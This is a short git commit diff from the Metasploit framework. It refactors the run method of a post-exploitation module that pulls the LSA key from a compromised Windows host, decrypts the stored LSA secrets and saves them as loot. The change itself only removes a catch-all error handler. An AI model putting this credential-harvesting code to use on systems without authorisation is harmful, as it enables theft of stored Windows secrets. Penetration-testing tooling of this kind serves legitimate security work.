clean up run code - remove catchall rescue

bug/bundler_fix
Rob Fuller 2013-10-16 22:22:45 -04:00
parent ca88c071cf
commit b223504980
1 changed files with 13 additions and 14 deletions

View File

@ -281,20 +281,19 @@ class Metasploit3 < Msf::Post
lsakey = capture_lsa_key(bootkey)
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
begin
secrets = hostname << get_secret(lsakey)
print_status("Writing to loot...")
path = store_loot(
'registry.lsa.sec',
'text/plain',
session,
secrets,
'reg_lsa_secrts.txt',
'Registry LSA Secret Decrypted File')
secrets = hostname << get_secret(lsakey)
print_status("Writing to loot...")
path = store_loot(
'registry.lsa.sec',
'text/plain',
session,
secrets,
'reg_lsa_secrts.txt',
'Registry LSA Secret Decrypted File'
)
print_status("Data saved in: #{path}")
rescue ::Exception => e
print_error("Failed to run LSA Enum")
print_error("Error: #{e.class} #{e}")
end
end
end